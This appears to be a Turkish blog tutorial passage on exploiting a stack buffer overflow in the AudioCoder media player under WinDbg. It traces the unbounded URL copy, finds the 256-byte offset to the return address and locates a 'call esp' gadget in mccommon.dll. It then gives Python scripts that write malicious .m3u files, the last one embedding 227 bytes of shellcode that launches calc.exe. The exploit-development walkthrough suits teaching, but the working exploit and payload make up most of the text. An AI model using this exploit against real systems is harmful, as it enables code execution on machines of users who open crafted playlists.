BINGO! Bu sefer stack’e yapılan bir kopyalama işlemi yakaladık. Bu instruction EAX’tan alıp, MOV işlemi bir stack’e, 0012e3f8 adresine kopyalama yapılıyor. EAX’ın değeri 68h yani ASCII olarak ‘h’ harfi oluyor, URL’in ilk karakteri. ECX ise memory’deki URL’e işaret ediyor. Burayı biraz daha derin incelemek gerekirse:

0:000> u eip-2
image00400000+0x1f217:
0041f217 8a01 mov al,byte ptr [ecx]
0041f219 88040a mov byte ptr [edx+ecx],al
0041f21c 8d4901 lea ecx,[ecx+1]
0041f21f 84c0 test al,al
0041f221 75f4 jne image00400000+0x1f217 (0041f217)
0041f223 8d442418 lea eax,[esp+18h]
0041f227 50 push eax
0041f228 6a00 push 0

Bu komut ile eip-2 konumundan başlayarak, code stream’i dissasemble ettik. Bu kod parçasını kabaca açıklamak gerekirse:

0041f217 8a01 mov al,byte ptr [ecx]

ECX’ten bir byte alıp, AL register’ına atıyor, yani EAX’ın düşük order tarafına. Yukarıda görülebileceği üzere ecx=02853328 olduğundan, aslında bizim hafızada bulunan URL’den bir satır alıp AL’e kopyalıyor.

0041f219 88040a mov byte ptr [edx+ecx],al

Bir önceki adımda alınan byte’ı, AL’den alıp stack’e yazıyor.

0041f21c 8d4901 lea ecx,[ecx+1]

ECX bir arttırılıyor. Dolayısıyla hem kaynak hem de hedef adresler de bir arttırılmış oluyor.

0041f21f 84c0 test al,al
0041f221 75f4 jne image00400000+0x1f217 (0041f217)

Hatırlıyorsanız AL’de URL’den okunan karakter vardı. Eğer URL’in sonuna geldiysek, string’ler NULL karakterlerle sonlandırıldığı için, okunan son karakter NULL değil ise tekrar döngünün başına zıplıyoruz. Eğer son karakter null ise, kopyalama işlemi bittiği için döngüden çıkıp program akışına devam edebilir.

Bu döngü bittikten sonra, eğer stack’te yeterince yer ayrılmamışsa, kendi yerini taşıracak ve önce yandaki parametreler, sonrasında da return adresin üzerini yazacaktır. Şu anda callstack’in durumuna bakalım, bir de döngü bittikten sonraki call stack’in durumuna bakalım.

0:000> k5
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e714 004080cc image00400000+0x1f219
0012e8d0 0042a082 image00400000+0x80cc
0012e924 7e423ce4 image00400000+0x2a082
0012e990 7e423b30 USER32!UserCallDlgProcCheckWow+0x146
0012e9d8 7e423d5c USER32!DefDlgProcWorker+0xa8

Döngü sonuna, yani 0041f223 adresine kadar devam ettirelim.

0:000> bd *
0:000> pa 0041f223
..
..

eax=00000000 ebx=7e42f3c2 ecx=02853711 edx=fd8db0d0 esi=004b5f30 edi=00a501e6
eip=0041f223 esp=0012e398 ebp=0012e714 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
image00400000+0x1f223:
0041f223 8d442418 lea eax,[esp+18h]

0:000> k5
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012e714 41414141 image00400000+0x1f223
0012e810 7c919ffa <Unloaded_.dll>+0x41414130
0012ead8 5d095e5e ntdll!RtlAllocateHeapSlowly+0x113b
0012eaf4 5d09602f COMCTL32!CallOriginalWndProc+0x1a
0012eb50 5d095fe4 COMCTL32!CallNextSubclassProc+0x3c

Görüldüğü üzere callstack’te return adresi artık 41414141 olarak görünüyor. Bundan sonraki hedefimiz, return adresin üzerini yazmadan önce kaç baytlık yerimiz var? Bunu belirleyebilmek için rutin sonundaki ret instruction’ina kadar execution’i devam ettirelim.

0:000> pt
eax=004b5f30 ebx=00208750 ecx=00234f08 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=0041fd82 esp=0012e4f8 ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
image00400000+0x1fd82:
0041fd82 c3 ret

0:000> dd esp
0012e4f8 41414141 41414141 41414141 41414141
0012e508 41414141 41414141 41414141 41414141
0012e518 41414141 41414141 41414141 41414141

Evet, ret instruction’i pop eip anlamına gelmektedir. Burada ret instruction’i çalışınca, 0012e4f8 adresindeki 41414141 değeri, EIP’ye atanacak ve programın çalışması bitecek. Yukarıda değinmiştik, ilgili URL stack’e 0012e3f8 adresinden itibaren yazılmaya başlıyordu.

0:000> ?0012e4f8-0012e3f8
Evaluate expression: 256 = 00000100

Bunun anlamı şu, girdiğimiz URL’in ilk 256 baytı stack’teki yerel değişkenlerin üzerini yazıyor ve 256. karakterden itibaren EIP’in üzerine yazılıyor.

Hemen hipotezimizi test edelim. Yeni python kodumuz şu şekilde.

file="exp-2-crash.m3u"
buf="http://" + "A"*249+"BBBB"+"C"*740;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Bu sefer WinDbg’da debugging’i tekrar başlatıyoruz. Bu sefer hiçbir breakpoint koymadan, exp-2-eip.m3u isimli dosyayı AudioCoder’a veriyoruz. Sonuç:

(dd0.19c): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=002087f8 ecx=0024fd00 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=42424242 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_.dll>+0x42424231:
42424242 ?? ???

EIP değeri 42424242, ASCII olarak tahmin ettiğimiz üzere ‘BBBB’.

Exploit Geliştirme Planlaması

Exploit dediğimiz kod parçası, bu güvenlik açığını istismar edip programa girdi olarak verdiğimiz dosya ile, istediğimiz kodun çalıştırılması hadisesidir.

  1. EIP’nin hangi baytlar tarafından kontrol edildiğini tespit etmek. Bunu bir önceki adımda yaptık, 256. bayttan itibaren.
  2. EIP’i shellcode’a yönlendirmek
  3. Belleğe shellcode’ü yüklemek. Bunu da bir öncekı adımda yaptık, 260. karakterden sonrası shellcode’umuz olacak.

Adım adım ilerleyeceğiz, eğer arada işleri karıştırırsak -ki kuvvetle muhtemel- bir önceki adıma geri dönüp oradan itibaren işlemleri tekrarlayacağız.

EIP’i Shellcode’a Yönlendirmek

Exploitimizin şu anki hali ile return adresin üzerini 0x42424242 adresi ile yazıyoruz. Fonksiyon sonundaki return instruction’i çalıştığı anda bu 0x42424242 adresine dönmeye çalışıyor ve crash oluyor.

Bir önceki adımda, 0x42424242 adresinde crash olduğu noktadaki register’ların durumlarına bakalım.

(bf4.da0): Access violation – code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=004b5f30 ebx=00209ca0 ecx=002457f8 edx=00000274 esi=7e42f3c2 edi=004b5f30
eip=42424242 esp=0012e4fc ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202
<Unloaded_.dll>+0x42424231:
42424242 ?? ???

ESP Register’ı 0x0012e4fc adresini gösteriyor.

0:000> dd esp – 4
0012e4f8 42424242 43434343 43434343 43434343

ESP’nin gösterdiği yerin 4 bayt öncesi EIP, sonrası ise 260. bayttan sonrasındaki karakterler. Yani ESP register’ını kullanarak doğrudan shellcode’a zıplamak mümkün! Bunu da aşağıdaki assembly operasyonları ile kolayca yapabiliriz.

  • jmp esp
  • call esp

Process içerisinde yüklenen modüllerin code stream’larinda bu instruction’lardan birisini bulursak, ki bulmamız çok muhtemel, o adrese return ederek jmp instruction’inin çalışmasını sağlayabilir ve EIP’yi bizim hafıza yüklediğimiz shellcode’a yönlendirebiliriz.

Öncelikli olarak bu instruction’ların opcode’larını hesaplayalım.

  1. WinDbg ekranında ‘a’ komutunu girin.
  2. Sonrasında ‘call esp’ yazıp enter’a basın.
  3. Tekrar enter’a basın.
  4. Yazdığınız ‘call esp’ instruction’ının yanındaki addressi unassemble edin.

Aşağıda görülebileceği gibi, call esp instruction’inin opcode’u ‘ff d4’tür.

Screen Shot 2013-12-14 at 8.26.15 PM

Opcode keşfetmeyi öğrendiğimize göre, işleme devam edebiliriz. Yüklenen modülleri listelemek için aşağıdaki komutu giriyoruz. (Eğer bu komut çalışmazsa, bunun sebebi narly uzantısının yüklenmemiş olması olabilir. ‘load .narly’ komutu ile eklentiyi yükleyin. Kurulum adımları şurada) :

0:002> !nmod
00350000 003ee000 libxml2 /SafeSEH ON /GS C:\Program Files\AudioCoder\libxml2.dll
003f0000 003f9000 Normaliz /SafeSEH ON /GS *ASLR *DEP C:\WINDOWS\system32\Normaliz.dll
00400000 00569000 image00400000 /SafeSEH ON /GS *DEP image00400000
00570000 005f0000 SDL /SafeSEH ON /GS *ASLR *DEP C:\Program Files\AudioCoder\SDL.dll
00600000 00656000 SDL_image /SafeSEH OFF *ASLR *DEP C:\Program Files\AudioCoder\SDL_image.dll
00670000 00702000 jpeg /SafeSEH ON /GS C:\Program Files\AudioCoder\jpeg.dll
018e0000 01945000 mcres /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\mcres.dll
019a0000 019af000 dsp_chmx /SafeSEH OFF C:\Program Files\AudioCoder\plugins\dsp_chmx.dll
019c0000 019c6000 dsp_zsc /SafeSEH OFF C:\Program Files\AudioCoder\plugins\dsp_zsc.dll
019d0000 01a08000 SysInfo /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\SysInfo.dll
02040000 02305000 xpsp2res NO_SEH C:\WINDOWS\system32\xpsp2res.dll
10000000 10029000 mccommon /SafeSEH ON /GS *DEP C:\Program Files\AudioCoder\mccommon.dll
..
..

Modül listesi hayli kabarık, modülleri incelerken aşağıdaki kriterleri inceliyoruz:

  1. ASLR aktif edilmemiş modüllerden birini seçmemiz gerekiyor.
  2. Program ile gelen dosyalardan birini seçersek daha güzel olur. Zira Windows ile birlikte gelen DLL’ler her Windows sürümü ile değişeceğinden exploitiniz farklı Windows sürümlerinde çalışmayabilir.
  3. Modül adresinde 0x00 baytı, yani NULL karakter olmamalı. strcpy fonksiyonu gibi NULL karaktere kadar kopyalan fonksiyonların exploitinde sorun oluşturmaması için.

Bu kriterlere uyan mcommon modülünde, ‘call jmp’ instruction’i arayacak olursak:

0:002> s -b 10000000 10029000 ff d4
10013cc3 ff d4 3c 01 10 dc 3c 01-10 ec 3c 01 10 00 3d 01 ..<…<…<…=.

Evet, 0x10013cc3 adresinde ‘call jmp’ instruction’ini bulduk.  Şimdi kontrol edelim:

0:002> u 10013cc3

mccommon!CXML::Unlock+0xf233:
10013cc3 ffd4 call esp
10013cc5 3c01 cmp al,1
10013cc7 10dc adc ah,bl
10013cc9 3c01 cmp al,1
10013ccb 10ec adc ah,ch
10013ccd 3c01 cmp al,1
10013ccf 1000 adc byte ptr [eax],al
10013cd1 3d01108b44 cmp eax,offset <Unloaded_.dll>+0x448b0ff0 (448b1001)

Her şey doğru gözüküyor. Bu hafıza adresinin executable olup olmadığına bakalım.

0:002> !address 10013cc3
10000000 : 10001000 – 00017000
Type 01000000 MEM_IMAGE
Protect 00000020 PAGE_EXECUTE_READ
State 00001000 MEM_COMMIT
Usage RegionUsageImage
FullPath C:\Program Files\AudioCoder\mccommon.dll

Evet, yukarıdakı çıktıda görülebileceği üzere ‘Protect 00000020 PAGE_EXECUTE_READ’ ifadesi, bu adresteki instruction’in CPU tarafından hiçbir problem yaşanmadan fetch edilip çalıştırılabileceğini, ama üzerinde yazılamayacağını gösteriyor.

Exploitimizin üçüncü aşamasını call jmp instruction’i ve shellcode olarak da ‘\xCC’ baytları ile güncellersek:

file="exp-3-callesp.m3u"
buf="http://" + "A"*249+"\xc3\x3c\x01\x10"+"\xCC"*370;
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Burada ‘\xCC’ baytlarıyla belleği doldurmamızın amacı şu: ‘call jmp’ instruction’ini çalışınca EIP’yi o an ESP pointer’i nereyi gösteriyorsa oraya zıplatacak ve o adreste de ‘\xCC’ baytları var. Bu baytlar sayesinde WinDbg biz daha önce breakpoint koymuşuz gibi programın akışını kesecek.

Bu python kodunu çalıştırdıktan sonra oluşan ‘exp-3-callesp.mp3’ dosyasını, WinDbg ile başlattığımız AudioCoder ‘a verirsek:

(598.c68): Break instruction exception – code 80000003 (first chance)
eax=004b5f30 ebx=00208bf8 ecx=02855b28 edx=00000024 esi=7e42f3c2 edi=004b5f30
eip=0012e4fc esp=0012e4f8 ebp=0012e714 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
<Unloaded_.dll>+0x12e4eb:
0012e4fc cc int 3

Beklediğimiz gibi ‘call esp’ instruction’i çalıştı, EIP stack’teki baytları gösterir hale gerdi, oradaki instruction’lar fetch ve decode edildikten sonra çalıştırılınca, WinDbg durdu ve programın kontrolünü bize verdi.

Artık bir sonraki aşamaya geçebiliriz.

Stack’e Shellcode’u Yüklemek

Bu adımda ‘0xCC’ baytlarını gerçek shellcode’umuz ile değiştirecek ve programın istediğimiz kodları çalıştırmasını sağlayacağız.

Shellcode yazmak başka bir uzmanlık alanı, belki bir gün o konudan da bahsederiz. Ben bu shellcode’u exploit’in kendisinden aldım. Metasploit’i kullanarak bu ya da daha gelişmiş shellcode’ları kolayca ürettilebilirsiniz. Bu shellcode’umuz Windows’un hesap makinesini çalıştırıyor.

file="exp-4-callesp.m3u"
buf=("http://" + "A"*249+"\xc3\x3c\x01\x10"+"\x90"
"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
"\x9a\xca\xc0");
try:
	writeFile = open (file, "w")
	writeFile.write( buf )
	writeFile.close()
	print "[*] File successfully created!";
except:
	print "[!] Error while creating file!";

Shellcode’un kendisi 3. satırdan itibaren başlıyor ve 227 bayt. Alignment’ta sorun olmaması için başına bir adet NOP instruction’i koyduk, ‘\x90’ baytı.

Bu python kodu ‘exp-4-callesp.m3u’ isimli dosyayı oluşturuyor. Bu dosyayı AudioCoder ile açarsak, Windows’un hesap makinesinin çalıştığını görebiliriz.

Windows XP SP3 – AudioCoder & Calc & WinDbg

Son

Meseleyi temelden incelemek adına zaman zaman Amerika’yı baştan keşfettiğimiz uzun soluklu bir yazı oldu. Bu yazı ile bir temel oluşturduğumuzu düşünerek bundan sonraki yazılarda daha doğrudan anlatımlar yapmaya gayret edeceğim.



Notes:

  1. Örnek kod şuradan alınmıştır.
  2. Win32 Console Application, Empty Project
  3. Stack düşük adreslere doğru büyüdüğü için, aslında daha yüksek adrese 
  4. Her zaman değil, genellikle. Zira öngürlmeyen bir çok sebeple açık exploit edilemiyor olabilir
  5. mona.py ya da Metaploit cyclc pattern’lari kullanarak